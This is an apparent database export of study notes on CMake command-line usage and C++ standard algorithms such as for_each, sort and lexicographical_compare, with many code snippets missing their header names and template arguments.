number.\n- A logical variable is false if is set to any of the `0, OFF, NO, FALSE, N,\n IGNORE, NOTFOUND`, an empty string, or a string ending with `-NOTFOUND`. text txt 2024-07-28 09:59:04.343306 -1318 281 cmake_minimum_required(VERSION 3.20 FATAL_ERROR)\nproject(Sample LANGUAGES CXX) text txt 2024-07-28 09:59:04.959747 -1319 281 set(USE_LIBRARY OFF)\nset(BULID_SHARED_LIBS OFF) text txt 2024-07-28 09:59:04.980769 -1320 281 if(USE_LIBRARY)\n add_library(message message.hpp message.cpp)\n add_executable(program main.cpp)\n target_link_libraries(program message)\nelse()\n add_executable(program main.cpp ${message_files})\nendif() code txt 2024-07-28 09:59:05.001334 -1321 281 Use following command to check if library is built into the executable: text txt 2024-07-28 09:59:05.022421 -1322 281 objdump --syms build/program code txt 2024-07-28 09:59:05.041762 -1323 282 Introducing variables with a given truth value hardcoded, prevents users of\nyour code from easily toggling these variables. Also, cmake does not\ncommunicate to the reader that this is a value that is expected to be\nmodified. The recommended way to toggle behavior in the build system\ngeneration for your project is to present logical switches as options using\n`option()` command. text txt 2024-07-28 09:59:05.661644 -1324 282 cmake_minimum_required(VERSION 3.20 FATAL_ERROR)\nproject(Sample LANGUAGES CXX) text txt 2024-07-28 09:59:05.682879 -1325 282 option(USE_LIBRARY "Compile sources into a library" OFF)\nlist(APPEND message_files message.hpp message.cpp) text txt 2024-07-28 09:59:05.703737 -1326 282 if(USE_LIBRARY)\n add_library(message ${message_files})\n add_executable(program main.cpp)\n target_link_libraries(program message)\nelse()\n add_executable(program main.cpp ${message_files})\nendif() code txt 2024-07-28 09:59:05.724537 -1327 283 list(APPEND source_files main.cpp message.cpp ...)\nadd_executable(runtime ${source_files})\nadd_library(library ${source_files}) code txt 2024-07-28 09:59:05.99401 -1328 284 include(CMakeDependentOption) text txt 2024-07-28 09:59:06.433223 -1329 284 cmake_dependent_option(MAKE_STATIC_LIBRARY "Compile sources into a static library" OFF "USE_LIBRARY" ON)\ncmake_dependent_option(MAKE_SHARED_LIBRARY "Compile sources into a shared library" ON "USE_LIBRARY" ON) code txt 2024-07-28 09:59:06.454584 -1330 284 If `USE_LIBRARY` is `ON`, `MAKE_SHARED_LIBRARY` defaults to `OFF`, while\n`MAKE_STATIC_LIBRARY` defaults to `ON`. So we can run this: text txt 2024-07-28 09:59:06.474901 -1331 284 cmake -S -B -D USE_LIBRARY=ON -D MAKE_SHARED_LIBRARY=ON code txt 2024-07-28 09:59:06.49531 -1332 285 cmake -S ./project -B ./build code txt 2024-07-28 09:59:06.933221 -1333 286 Selecting and configuring a generator decides which build tool from our\nsystem will be used for building. This can be overridden by the\n`CMAKE_GENERATOR` environment variable or by specifying the generator\ndirectly on the command line. text txt 2024-07-28 09:59:07.276683 -1334 286 cmake -G code txt 2024-07-28 09:59:07.297093 -1389 310 cmake --install --component code txt 2024-07-28 09:59:15.279148 -2087 483 #include \n#include text txt 2024-07-28 10:01:28.245848 -1335 287 Some generators (such as Visual Studio) support a more in-depth specification\nof a toolset (compiler) and platform (compiler or SDK). Additionally, these\nhave respective environment variables that override the default values:\n`CMAKE_GENERATOR_TOOLSET` and `CMAKE_GENERATOR_PLATFORM`. text txt 2024-07-28 09:59:07.611361 -1336 287 cmake -G -T -A   code txt 2024-07-28 09:59:07.632085 -1337 288 We can provide a path to the CMake script, which (only) contains a list of\n`set()` commands to specify variables that will be used to initialize an\nempty build tree. text txt 2024-07-28 09:59:07.922848 -1338 288 cmake -C code txt 2024-07-28 09:59:07.943462 -1339 289 The initialization and modification of existing cache variables can be done\nin command line, as follows: text txt 2024-07-28 09:59:08.32102 -1340 289 cmake -D [:]= code txt 2024-07-28 09:59:08.341163 -1341 289 The `:` section is optional (it is used by GUIs); you can use `BOOL`,\n`FILEPATH`, `PATH`, `STRING`, or `INTERNAL`. text txt 2024-07-28 09:59:08.361733 -1342 289 If you omit the type, it will be set to the type of an already existing\nvariable; otherwise, it will be set to `UNINITIALIZED`. text txt 2024-07-28 09:59:08.381821 -1343 290 For single-configuration generators (such as Make and Ninja), you'll need to\nspecify it during the configuration phase with the `CMAKE_BUILD_TYPE`\nvariable and generate a separate build tree for each type of config: text txt 2024-07-28 09:59:08.840371 -1344 290 * `Debug`\n* `Release`\n* `MinSizeRel`\n* `RelWithDebInfo` text txt 2024-07-28 09:59:08.860361 -1345 290 cmake -S . -B build -D CMAKE_BUILD_TYPE=Release code txt 2024-07-28 09:59:08.879863 -1346 290 Custom variables that are added manually with the `-D` option won't be\nvisible in cache variables list unless you specify one of the supported\ntypes. text txt 2024-07-28 09:59:08.900345 -1347 291 cmake -L[A][H] code txt 2024-07-28 09:59:09.276342 -1348 291 Such a list will contain cache variables that aren't marked as `ADVANCED`. We\ncan change that by adding the `A` modifier. text txt 2024-07-28 09:59:09.296696 -1349 291 To print help messages with variables, add the `H` modifier. text txt 2024-07-28 09:59:09.317305 -1350 291 Custom variables that are added manually with the `-D` option won't be\nvisible unless you specify one of the supported types. text txt 2024-07-28 09:59:09.338125 -1351 292 cmake -U code txt 2024-07-28 09:59:09.604411 -1352 292 Here, the globbing expression supports the `*` wildcard and any `?` character\nsymbols. Both of the `-U` and `-D` options can be repeated multiple times. text txt 2024-07-28 09:59:09.624951 -1353 293 cmake --system-information [file] code txt 2024-07-28 09:59:09.919434 -1354 293 The optional file argument allows you to store the output in a file. text txt 2024-07-28 09:59:09.939217 -1355 293 Running it in the build tree directory will print additional information\nabout the cache variables and build messages from the log files. text txt 2024-07-28 09:59:09.959559 -1356 294 By default, the log level is `STATUS`. text txt 2024-07-28 09:59:10.393597 -1357 294 cmake --log-level= code txt 2024-07-28 09:59:10.414669 -1358 294 Here, level can be any of the following: text txt 2024-07-28 09:59:10.435413 -1359 294 * `ERROR`\n* `WARNING`\n* `NOTICE`\n* `STATUS`\n* `VERBOSE`\n* `DEBUG`\n* `TRACE` text txt 2024-07-28 09:59:10.455995 -1360 295 You can specify this setting permanently in the `CMAKE_MESSAGE_LOG_LEVEL`\ncache variable. text txt 2024-07-28 09:59:10.642577 -1361 296 To debug very complex projects, the `CMAKE_MESSAGE_CONTEXT` variable can be\nused like a stack. Whenever your code enters a specific context, you can add\na descriptive name to the stack and remove it when leaving. By doing this,\nour messages will be decorated with the current `CMAKE_MESSAGE_CONTEXT`\nvariable like so: text txt 2024-07-28 09:59:11.121332 -1362 296 ```\n[some.context.example] Debug message\n`````` text txt 2024-07-28 09:59:11.142176 -1363 296 The option to enable this kind of log output is as follows: text txt 2024-07-28 09:59:11.162733 -1364 296 cmake --log-context code txt 2024-07-28 09:59:11.183803 -1365 297 If all logging options fail there is always trace mode. text txt 2024-07-28 09:59:11.507548 -1366 297 Trace mode will print every command with the filename and exact line number\nit is called from alongside its arguments. text txt 2024-07-28 09:59:11.528677 -1367 297 cmake --trace code txt 2024-07-28 09:59:11.54916 -1368 298 Developers can simplify how users interact with their projects and provide a\n`CMakePresets.json` file that specifies some defaults. text txt 2024-07-28 09:59:11.736447 -1369 299 cmake --list-presets code txt 2024-07-28 09:59:11.941564 -1370 300 cmake --preset= code txt 2024-07-28 09:59:12.218153 -1371 300 These values override the system defaults and the environment. However, at\nthe same time, they can be overridden with any arguments that are explicitly\npassed on the command line. text txt 2024-07-28 09:59:12.238347 -1372 301 cmake --build [] [-- ] code txt 2024-07-28 09:59:12.457823 -1373 302 CMake allows you to specify key build parameters that work for every builder.\nIf you need to provide special arguments to your chosen, native builder, pass\nthem at the end of the command after the `--` token. text txt 2024-07-28 09:59:12.795687 -1374 302 cmake --build -- code txt 2024-07-28 09:59:12.816058 -1375 303 Builders know the structure of project dependencies, so they can\nsimultaneously process steps that have their dependencies met to save time. text txt 2024-07-28 09:59:13.157154 -1376 303 cmake --build --parallel []\ncmake --build -j [] code txt 2024-07-28 09:59:13.178109 -1377 303 The alternative is to set it with the `CMAKE_BUILD_PARALLEL_LEVEL`\nenvironment variable. text txt 2024-07-28 09:59:13.199248 -1378 304 Every project is made up of one or more parts, called targets. Usually, we'll\nwant to build all of them; However, on occasion, we might be interested in\nskipping some or explicitly building a target that was deliberately excluded\nfrom normal builds. text txt 2024-07-28 09:59:13.525019 -1379 304 cmake --build --target -t ... code txt 2024-07-28 09:59:13.544588 -1380 305 cmake --build -t clean\ncmake --build --target clean code txt 2024-07-28 09:59:13.778123 -1381 306 cmake --build --clean-first code txt 2024-07-28 09:59:14.03436 -1382 307 cmake --build --verbose\ncmake --build -v code txt 2024-07-28 09:59:14.318225 -1383 307 The same effect can be achieved by setting the `CMAKE_VERBOSE_MAKEFILE`\ncached variable. text txt 2024-07-28 09:59:14.340497 -1384 308 cmake --install [] code txt 2024-07-28 09:59:14.550273 -1385 309 We can specify which build type we want to use for our installation. The\navailable types include: text txt 2024-07-28 09:59:14.912506 -1386 309 * `Debug`\n* `Release`\n* `MinSizeRel`\n* `RelWithDebInfo` text txt 2024-07-28 09:59:14.934652 -1387 309 cmake --install --config code txt 2024-07-28 09:59:14.95588 -1388 310 As a developer, you might choose to split your project into components that\ncan be installed independently. This might be something like application,\ndocs, and extra-tools. text txt 2024-07-28 09:59:15.257656 -1390 311 If installation is carried on a Unix-like platform, you can specify default\npermissions for the installed directories, with the following option, using\nthe format of `u=rwx,g=rx,o=rx`: text txt 2024-07-28 09:59:15.595301 -1391 311 cmake --install   --default-directory-permissions code txt 2024-07-28 09:59:15.616052 -1392 312 We can prepend the installation path specified in the project configuration\nwith a prefix of our choice: text txt 2024-07-28 09:59:15.884579 -1393 312 cmake --install --prefix code txt 2024-07-28 09:59:15.906205 -1394 313 cmake --build -v\ncmake --build --verbose code txt 2024-07-28 09:59:16.249541 -1395 313 The same effect can be achieved if the `VERBOSE` environment variable is set. text txt 2024-07-28 09:59:16.271005 -1396 313 VERBOSE=1 cmake --build code txt 2024-07-28 09:59:16.291769 -1397 314 cmake -D = -P -- ... code txt 2024-07-28 09:59:16.498094 -1398 315 There are two ways you can pass values to scripts: text txt 2024-07-28 09:59:16.886953 -1399 315 * Through variables defined with the `-D` option.\n* Through arguments that can be passed after a `--` token. text txt 2024-07-28 09:59:16.908078 -1400 315 cmake [{-D =}...] -P   [-- ...]\ncmake -D CMAKE_BUILD_TYPE=Release -P script.cmake  -- --verbose code txt 2024-07-28 09:59:16.928742 -1401 315 CMake will create `CMAKE_ARGV` variables for all arguments passed to the\nscript (including the `--` token). text txt 2024-07-28 09:59:16.948939 -1402 316 On rare occasions, we might need to run a single command in a\nplatform-independent way – perhaps copy a file or compute a checksum. text txt 2024-07-28 09:59:17.252291 -1403 316 cmake -E [] code txt 2024-07-28 09:59:17.272776 -1404 317 cmake -E code txt 2024-07-28 09:59:17.519948 -1405 318 cmake ––help[-]\ncmake --help-commands file code txt 2024-07-28 09:59:17.769815 -1406 319 The simplest way to run tests for a built project is to call ctest in the\ngenerated build tree: text txt 2024-07-28 09:59:18.037095 -1407 319 ctest code txt 2024-07-28 09:59:18.057226 -1408 320 Files that contain the CMake language are called listfiles and can be\nincluded one in another, by calling `include()` and `find_package()`, or\nindirectly with `add_subdirectory()` text txt 2024-07-28 09:59:18.519192 -1409 320 CMake projects are configured with `CMakeLists.txt` listfiles. text txt 2024-07-28 09:59:18.540508 -1410 320 It should contain at least two commands: text txt 2024-07-28 09:59:18.561495 -1411 320 cmake_minimum_required(VERSION )\nproject( ) code txt 2024-07-28 09:59:18.583282 -1412 320 We also have an `add_subdirectory(api)` command to include another\n`CMakeListst.txt` file from the api directory to perform steps that are\nspecific to the API part of our application. text txt 2024-07-28 09:59:18.603647 -1413 321 Users can choose presets through the GUI or use the command line to\n`--list-presets` and select a preset for the buildsystem with the\n`--preset=` option. text txt 2024-07-28 09:59:18.829881 -1414 322 Not that many: a script can be as complex as you like or an empty file.\nHowever, it is recommended that you call the `cmake_minimum_required()`\ncommand at the beginning of the script. This command tells CMake which\npolicies should be applied to subsequent commands in this project text txt 2024-07-28 09:59:19.135655 -1415 322 When running scripts, CMake won't execute any of the usual stages (such as\nconfiguration or generation), and it won't use the cache. text txt 2024-07-28 09:59:19.156908 -1416 323 Since there is no concept of a source/build tree in scripts, variables that\nusually hold references to these paths will contain the current working\ndirectory instead: `CMAKE_BINARY_DIR`, `CMAKE_SOURCE_DIR`,\n`CMAKE_CURRENT_BINARY_DIR`, and `CMAKE_CURRENT_SOURCE_DIR`. text txt 2024-07-28 09:59:19.379449 -1417 324 To use a utility module, we need to call an `include()` command. text txt 2024-07-28 09:59:19.572946 -1418 325 #include \n#include text txt 2024-07-28 09:59:37.446672 -1419 325 template\nstruct sum_predicate\n{\n S count;\n T sum;\n void operator()(T const& e)\n {\n count++;\n sum += e;\n }\n}; text txt 2024-07-28 09:59:37.468002 -1420 325 int main()\n{\n std::vector numbers{1, 2, 3, 4, 5};\n auto [count, sum] = std::for_each(numbers.begin(), numbers.end(), sum_predicate{});\n // count: 5, sum: 15\n} code txt 2024-07-28 09:59:37.489835 -1421 326 #include \n#include text txt 2024-07-28 09:59:37.912887 -1422 326 int main()\n{\n std::size_t count{};\n long sum{};\n std::vector numbers{1, 2, 3, 4, 5};\n std::for_each(numbers.begin(), numbers.end(), [&](auto const& e){ count++; sum += e; });\n // count: 5, sum: 15\n} code txt 2024-07-28 09:59:37.934079 -1423 327 Note that variables are now shared state and need to be `std::atomic<>` or protected by a `std::mutex<>`. text txt 2024-07-28 09:59:38.455814 -1424 327 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:38.476001 -1425 327 int main()\n{\n std::atomic count{};\n std::atomic sum{};\n std::vector numbers{1, 2, 3, 4, 5};\n std::for_each(std::execution::par_unseq, numbers.begin(), numbers.end(), [&](auto const& e){ count++; sum += e; });\n // count: 5, sum: 15\n} code txt 2024-07-28 09:59:38.49745 -1426 328 #include \n#include \n#include text txt 2024-07-28 09:59:38.948898 -1427 328 int main()\n{\n std::size_t count{};\n long sum{};\n std::vector numbers{1, 2, 3, 4, 5};\n std::ranges::for_each(numbers, [&](auto const& e){ count++; sum += e; });\n // count: 5, sum: 15\n} code txt 2024-07-28 09:59:38.969605 -1428 329 A *range* is then denoted by a pair of *iterators*, or more generally, since C++20, an *iterator* and a *sentinel*. text txt 2024-07-28 09:59:40.03188 -1429 329 To reference the entire content of a data structure, we can use the `begin()` and `end()` methods that return an iterator to the first element and an iterator one past the last element, respectively.\nHence, the range [begin, end) contains all data structure elements. text txt 2024-07-28 09:59:40.053628 -1430 329 #include \n#include \n#include text txt 2024-07-28 09:59:40.074336 -1431 329 int main()\n{\n std::vector numbers{1,2,3,4,5}; text txt 2024-07-28 09:59:40.094302 -1432 329 auto iter1 = numbers.begin();\n auto iter2 = numbers.end(); text txt 2024-07-28 09:59:40.114991 -1433 329 std::for_each(iter1, iter2, [](auto e) { std::cout << e << " "; });\n} code txt 2024-07-28 09:59:40.136098 -1434 329 Sentinels follow the same idea. However, they do not need to be of an iterator type.\nInstead, they only need to be comparable to an iterator.\nThe exclusive end of the range is then the first iterator that compares equal to the sentinel. text txt 2024-07-28 09:59:40.156917 -1435 329 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:40.177463 -1436 329 template\nstruct sentinel\n{\n using iter_t = typename std::vector::iterator;\n iter_t begin;\n std::iter_difference_t count;\n bool operator==(iter_t const& other) const { return std::distance(begin, other) >= count; }\n}; text txt 2024-07-28 09:59:40.199659 -2401 552 template\nclass Stack; code txt 2024-07-28 10:02:13.529971 -1437 329 int main()\n{\n std::vector numbers{1,2,3,4,5};\n std::vector::iterator iter = numbers.begin();\n std::ranges::for_each(iter, sentinel{iter, 3}, [](auto e) { std::cout << e << " "; });\n} code txt 2024-07-28 09:59:40.220475 -1438 330 #include \n#include \n#include text txt 2024-07-28 09:59:40.832086 -1439 330 int main()\n{\n std::vector random_access{1,2,3,4,5};\n std::list bidirectional{1,2,3,4,5}; text txt 2024-07-28 09:59:40.854197 -1440 330 auto random_access_iterator = random_access.begin();\n random_access_iterator += 3; // OK\n random_access_iterator++; // OK\n ssize_t random_difference = random_access_iterator - random_access.begin(); // OK: 4 text txt 2024-07-28 09:59:40.874647 -1441 330 auto bidirectional_iterator = bidirectional.begin();\n //bidirectional_iterator += 5; // ERROR\n std::advance(bidirectional_iterator, 3); // OK\n bidirectional_iterator++; // OK, all iterators provide advance operation\n //ssize_t bidirectional_difference = bidirectional_iterator - bidirectional.begin(); // ERROR\n ssize_t bidirectional_difference = std::distance(bidirectional.begin(), bidirectional_iterator); // OK: 4\n} code txt 2024-07-28 09:59:40.895484 -1442 331 The benefit of thinking about the returned value as the end iterator of a range is that it removes the potential for corner cases. text txt 2024-07-28 09:59:41.418384 -1443 331 #include \n#include \n#include text txt 2024-07-28 09:59:41.43819 -1444 331 int main()\n{\n std::vector in{1,2,3,4,5,6,7,8,9,10};\n std::vector out(10, 0); text txt 2024-07-28 09:59:41.459393 -1445 331 std::copy(in.begin(), in.end(), out.begin());\n // output range is implied as: std::next(out.begin(), std::distance(in.begin(), in.end()));\n} code txt 2024-07-28 09:59:41.481538 -1446 332 #include \n#include \n#include text txt 2024-07-28 09:59:42.064486 -1447 332 int main()\n{\n std::vector numbers{1,2,3,4,5}; text txt 2024-07-28 09:59:42.085908 -1448 332 auto last_sorted = std::is_sorted_until(numbers.begin(), numbers.end()); text txt 2024-07-28 09:59:42.106673 -1449 332 for (auto iter = numbers.begin(); iter != last_sorted; ++iter)\n continue; text txt 2024-07-28 09:59:42.127611 -1450 332 for (auto v: std::ranges::subrange(numbers.begin(), last_sorted))\n continue;\n} code txt 2024-07-28 09:59:42.147476 -1451 332 What if the algorithm doesn’t find any element out of order as a corner case?\nThe returned value will be the end iterator of the source range, meaning that the range returned is simply the entire source range. text txt 2024-07-28 09:59:42.169323 -1452 333 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:42.749422 -1453 333 The C++11 standard introduced the range-based for loop, which mostly replaced the uses of `std::for_each`. text txt 2024-07-28 09:59:42.769505 -1454 333 #include \n#include text txt 2024-07-28 09:59:42.78944 -1455 333 int main()\n{\n std::vector numbers{1,2,3,4,5};\n std::size_t sum{};\n std::for_each(numbers.begin(), numbers.end(), [&sum](auto const e) { sum += e; });\n for (auto e: numbers) { sum += e; }\n} code txt 2024-07-28 09:59:42.810432 -1456 334 As long as the operations are independent, there is no need for synchronization primitives. text txt 2024-07-28 09:59:43.696776 -1457 334 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:43.717023 -1458 334 struct work\n{\n void expensive_operation() { /* ... */ }\n}; text txt 2024-07-28 09:59:43.737282 -1459 334 int main()\n{\n std::vector work_pool{work{}, work{}, work{}};\n std::for_each(std::execution::par_unseq, work_pool.begin(), work_pool.end(), [](work& w) { w.expensive_operation(); });\n} code txt 2024-07-28 09:59:43.758556 -1460 334 When synchronization is required, operations need to be atmoic. text txt 2024-07-28 09:59:43.778606 -1461 334 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:43.798657 -1462 334 int main()\n{\n std::vector numbers{1,2,3,4,5};\n std::atomic sum{};\n std::for_each(std::execution::par_unseq, numbers.begin(), numbers.end(), [&sum](auto& e) { sum += e; });\n} code txt 2024-07-28 09:59:43.819814 -1463 335 #include \n#include \n#include text txt 2024-07-28 09:59:44.403807 -1464 335 struct work_unit\n{\n size_t value;\n work_unit(size_t initial): value{std::move(initial)} {}\n size_t current() const { return value; }\n}; text txt 2024-07-28 09:59:44.424947 -1465 335 int main()\n{\n size_t sum{};\n std::vector tasks{1,2,3};\n std::ranges::for_each(tasks, [&sum](auto const& e) { sum += e; }, &work_unit::current);\n // sum: 6\n} code txt 2024-07-28 09:59:44.44562 -1466 336 | feature | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:45.063186 -1467 336 While `std::for_each` operates on the entire range, the interval $[begin, end)$, `std::for_each_n` operates on the range $[first, first + n)$. text txt 2024-07-28 09:59:45.082946 -1468 336 #include \n#include text txt 2024-07-28 09:59:45.104699 -1469 336 int main()\n{\n std::vector numbers{1,2,3,4,5,6};\n std::size_t sum{};\n std::for_each_n(numbers.begin(), 3, [&sum](auto const& e) { sum += e; });\n // sum = 6\n} code txt 2024-07-28 09:59:45.126326 -1470 336 Importantly, because the algorithm does not have access to the end iterator of the source range, it does no out-of-bounds checking, and it is the responsibility of the caller to ensure that the range $[first, first + n)$ is valid. text txt 2024-07-28 09:59:45.14786 -1471 337 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:45.790464 -1472 337 Correctly calling swap requires pulling the default std::swap version to the local scope. text txt 2024-07-28 09:59:45.811566 -1473 337 #include text txt 2024-07-28 09:59:45.832204 -1474 337 namespace library\n{\n struct container { long value; };\n} text txt 2024-07-28 09:59:45.852856 -1475 337 int main()\n{\n library::container a{3}, b{4};\n std::ranges::swap(a, b); // first calls library::swap\n // then it calls the default move-swap\n} code txt 2024-07-28 09:59:45.873335 -1476 338 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:46.561469 -1477 338 The `std::iter_swap` is an indirect swap, swapping values behind two forward iterators. text txt 2024-07-28 09:59:46.583457 -1478 338 #include \n#include text txt 2024-07-28 09:59:46.604828 -1479 338 int main()\n{\n auto p1 = std::make_unique(1);\n auto p2 = std::make_unique(2); text txt 2024-07-28 09:59:46.624914 -1480 338 int *p1_pre = p1.get();\n int *p2_pre = p2.get(); text txt 2024-07-28 09:59:46.646772 -1481 338 std::ranges::swap(p1, p2);\n // p1.get() == p1_pre, *p1 == 2\n // p2.get() == p2_pre, *p2 == 1\n} code txt 2024-07-28 09:59:46.667347 -1482 339 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:47.191202 -1483 339 #include \n#include text txt 2024-07-28 09:59:47.212849 -1484 339 int main()\n{\n std::vector numbers{1,2,3,4,5,6};\n std::swap_ranges(numbers.begin(), numbers.begin()+2, numbers.rbegin());\n // numbers: {6,5,3,4,2,1}\n} code txt 2024-07-28 09:59:47.234129 -1485 340 Implementing a `strict_weak_ordering` for a custom type, at minimum requires providing an overload of `operator<`. text txt 2024-07-28 09:59:48.163266 -1486 340 A good default for a `strict_weak_ordering` implementation is *lexicographical ordering*. text txt 2024-07-28 09:59:48.184156 -1487 340 Since C++20 introduced the spaceship operator, user-defined types can easily access the default version of *lexicographical ordering*. text txt 2024-07-28 09:59:48.208091 -1488 340 struct Point {\n int x;\n int y; text txt 2024-07-28 09:59:48.229232 -1489 340 // pre-C++20 lexicographical less-than\n friend bool operator<(const Point& left, const Point& right)\n {\n if (left.x != right.x)\n return left.x < right.x;\n return left.y < right.y;\n } text txt 2024-07-28 09:59:48.251009 -1490 340 // default C++20 spaceship version of lexicographical comparison\n friend auto operator<=>(const Point&, const Point&) = default; text txt 2024-07-28 09:59:48.27181 -1491 340 // manual version of lexicographical comparison using operator <=>\n friend auto operator<=>(const Point& left, const Point& right)\n {\n if (left.x != right.x)\n return left.x <=> right.x;\n return left.y <=> right.y;\n }\n}; code txt 2024-07-28 09:59:48.292805 -1492 340 The type returned for the spaceship operator is the common comparison category type for the bases and members, one of: text txt 2024-07-28 09:59:48.31301 -1493 340 * `std::strong_ordering`\n* `std::weak_ordering`\n* `std::partial_ordering` text txt 2024-07-28 09:59:48.333331 -1494 341 Lexicographical `strict_weak_ordering` for ranges is exposed through the `std::lexicographical_compare` algorithm. text txt 2024-07-28 09:59:49.518704 -1495 341 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:49.539787 -1496 341 #include \n#include text txt 2024-07-28 09:59:49.561313 -1497 341 int main()\n{\n std::vector range1{1, 2, 3};\n std::vector range2{1, 3};\n std::vector range3{1, 3, 1}; text txt 2024-07-28 09:59:49.581171 -1498 341 bool cmp1 = std::lexicographical_compare(range1.cbegin(), range1.cend(), range2.cbegin(), range2.cend());\n // same as\n bool cmp2 = range1 < range2;\n // cmp1 = cmp2 = true text txt 2024-07-28 09:59:49.60174 -1499 341 bool cmp3 = std::lexicographical_compare(range2.cbegin(), range2.cend(), range3.cbegin(), range3.cend());\n // same as\n bool cmp4 = range2 < range3;\n // cmp3 = cmp4 = true\n} code txt 2024-07-28 09:59:49.623329 -1500 341 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:49.645863 -1501 341 int main()\n{\n std::vector range1{"Zoe", "Alice"};\n std::vector range2{"Adam", "Maria"};\n auto compare_length = [](auto const& l, auto const& r) { return l.length() < r.length(); }; text txt 2024-07-28 09:59:49.667422 -1502 341 bool cmp1 = std::ranges::lexicographical_compare(range1, range2, compare_length);\n // different than\n bool cmp2 = range1 < range2;\n // cmp1 = true, cmp2 = false\n} code txt 2024-07-28 09:59:49.688714 -1503 342 | feature | standard |\n| --- | --- |\n| introduced | C++20 |\n| constexpr | C++20 |\n| paralllel | N/A |\n| rangified | N/A | text txt 2024-07-28 09:59:50.555282 -1504 342 The `std::lexicographical_compare_three_way` is the spaceship operator equivalent to `std::lexicographical_compare`.\nIt returns one of: text txt 2024-07-28 09:59:50.576798 -1505 342 * `std::strong_ordering`\n* `std::weak_ordering`\n* `std::partial_ordering` text txt 2024-07-28 09:59:50.596542 -1506 342 The type depends on the type returned by the elements’ spaceship operator. text txt 2024-07-28 09:59:50.616875 -1507 342 #include \n#include \n#include text txt 2024-07-28 09:59:50.638269 -1508 342 int main()\n{\n std::vector numbers1{1, 1, 1};\n std::vector numbers2{1, 2, 3}; text txt 2024-07-28 09:59:50.658987 -1509 342 auto cmp1 = std::lexicographical_compare_three_way(numbers1.cbegin(), numbers1.cend(), numbers2.cbegin(), numbers2.cend());\n // cmp1 = std::strong_ordering::less text txt 2024-07-28 09:59:50.680707 -1510 342 std::vector strings1{"Zoe", "Alice"};\n std::vector strings2{"Adam", "Maria"}; text txt 2024-07-28 09:59:50.702209 -1511 342 auto cmp2 = std::lexicographical_compare_three_way(strings1.cbegin(), strings1.cend(), strings2.cbegin(), strings2.cend());\n // cmp2 = std::strong_ordering::greater\n} code txt 2024-07-28 09:59:50.724251 -1512 343 The `std::sort` algorithm is the canonical `O(N log N)` sort (typically implemented as *intro-sort*). text txt 2024-07-28 09:59:50.950843 -1513 343 Due to the `O(n log n)` complexity guarantee, `std::sort` only operates on `random_access` ranges.\nNotably, `std::list` offers a method with an approximate `O(N log N)` complexity. text txt 2024-07-28 09:59:50.97081 -1514 344 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:51.811476 -1515 344 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:51.833083 -1516 344 struct Account\n{\n long value() { return value_; }\n long value_;\n}; text txt 2024-07-28 09:59:51.852954 -1517 344 int main()\n{\n std::vector series1{6,2,4,1,5,3};\n std::sort(series1.begin(), series1.end()); text txt 2024-07-28 09:59:51.873761 -1518 344 std::list series2{6,2,4,1,5,3};\n //std::sort(series2.begin(), series2.end()); // won't compile\n series2.sort(); text txt 2024-07-28 09:59:51.89547 -1519 344 // With C++20, we can take advantage of projections to sort by a method or member\n std::vector accounts{{6},{2},{4},{1},{5},{3}};\n std::ranges::sort(accounts, std::greater<>{}, &Account::value);\n} code txt 2024-07-28 09:59:51.916663 -1520 345 The `std::sort` is free to re-arrange equivalent elements, which can be undesirable when re-sorting an already sorted range.\nThe `std::stable_sort` provides the additional guarantee of preserving the relative order of equal elements. text txt 2024-07-28 09:59:52.794982 -1521 345 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 09:59:52.816539 -1522 345 If additional memory is available, `stable_sort` remains `O(n log n)`.\nHowever, if it fails to allocate, it will degrade to an `O(n log n log n)` algorithm. text txt 2024-07-28 09:59:52.837275 -1523 345 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:52.858732 -1524 345 struct Record\n{\n std::string label;\n short rank;\n}; text txt 2024-07-28 09:59:52.878564 -1525 345 int main()\n{\n std::vector records{{"b", 2}, {"e", 1}, {"c", 2}, {"a", 1}, {"d", 3}}; text txt 2024-07-28 09:59:52.898988 -1526 345 std::ranges::stable_sort(records, {}, &Record::label);\n // guaranteed order: a-1, b-2, c-2, d-3, e-1 text txt 2024-07-28 09:59:52.920309 -1527 345 std::ranges::stable_sort(records, {}, &Record::rank);\n // guaranteed order: a-1, e-1, b-2, c-2, d-3\n} code txt 2024-07-28 09:59:52.94076 -3570 845 code txt 2024-07-28 10:05:09.013418 -1528 346 | feature | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:53.611244 -1529 346 #include \n#include \n#include text txt 2024-07-28 09:59:53.631819 -1530 346 int main()\n{\n std::vector data1 = {1, 2, 3, 4, 5};\n bool test1 = std::is_sorted(data1.begin(), data1.end());\n // test1 == true text txt 2024-07-28 09:59:53.651553 -1531 346 std::vector data2 = {5, 4, 3, 2, 1};\n bool test2 = std::ranges::is_sorted(data2);\n // test2 == false text txt 2024-07-28 09:59:53.67269 -1532 346 bool test3 = std::ranges::is_sorted(data2, std::greater<>{});\n // test3 == true\n} code txt 2024-07-28 09:59:53.693531 -1533 347 | feature | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | 